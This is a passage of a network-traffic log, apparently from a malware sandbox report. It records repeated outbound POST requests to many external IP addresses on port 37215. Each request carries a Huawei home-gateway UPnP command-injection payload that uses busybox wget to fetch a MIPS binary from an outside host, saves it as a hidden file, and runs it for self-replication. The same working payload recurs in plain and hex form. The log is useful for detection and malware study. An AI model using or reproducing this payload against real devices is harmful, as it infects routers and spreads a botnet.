6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	36896	156.42.148.140	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.421055079 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	35076	197.130.159.152	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.423969984 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	58904	197.182.193.48	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.427299023 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	50872	41.146.94.96	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.430067062 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	34862	156.158.100.93	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.433060884 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	50758	197.153.89.197	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.435950041 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	57766	156.228.182.173	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.439672947 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	58144	197.216.228.207	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.442830086 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	42258	156.243.178.7	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.446685076 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	33444	197.151.100.246	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.449165106 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; 